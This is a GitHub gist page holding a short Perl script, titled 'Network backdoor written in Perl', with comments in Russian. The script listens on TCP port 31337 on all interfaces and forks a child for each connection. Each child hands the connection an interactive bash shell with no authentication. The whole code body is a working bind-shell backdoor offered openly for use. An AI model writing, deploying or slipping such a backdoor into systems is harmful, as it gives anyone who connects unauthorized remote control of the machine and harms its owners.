Skip to content

Instantly share code, notes, and snippets.

@koorchik
Created February 5, 2017 23:14
Show Gist options
  • Save koorchik/4e2e39c2c8c61954c14c6ca8b1de8c85 to your computer and use it in GitHub Desktop.
Save koorchik/4e2e39c2c8c61954c14c6ca8b1de8c85 to your computer and use it in GitHub Desktop.
Network backdoor written in Perl
#!/usr/bin/perl
$SHELL="/bin/bash -i"; ## Будем использовать интерактивный bash в качестве шелла
$LISTEN_PORT="31337"; ## Выбираем порт 31337 для бэкдора
use Socket; ## Используем модуль Socket
$protocol=getprotobyname('tcp'); ### Протокол - TCP
socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socket\n"; ### Пытаемся создать сокет-дескриптор либо завершаем скрипт с сообщением об ошибке.
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1); ## Заставляем сокет поддерживать REUSE - возможность многоразового использования порта
bind (S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die "Cant open port\n"; ## Биндим порт на все адреса машины либо сообщаем об ошибке
listen (S,3) || die "Cant listen port\n"; ## Ждем коннектов на порт
while(1){
accept (CONN,S); ## При подключении создаем дескриптор с именем CONN
if(! ($pid=fork)) ## Делаем процесс потомок для коннекта с дескриптором CONN
{
die "Cannot fork" if (! defined $pid); ## В случае неудачи ответвления - завершаем работу
open STDIN,"<&CONN";
open STDOUT,">&CONN";
open STDERR,">&CONN"; ## Перенаправляем STDIN, STDOUT и STDERR в клиент-терминал
exec $SHELL || die print CONN "Cant execute $SHELL\n"; ## Пытаемся запустить интерактивный шелл либо, в случае неудачи, завершаем скрипт
close CONN; ## Закрываем сокет после завершения работы шелла
exit 0; ## Корректно выходим, завершая потомок.
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment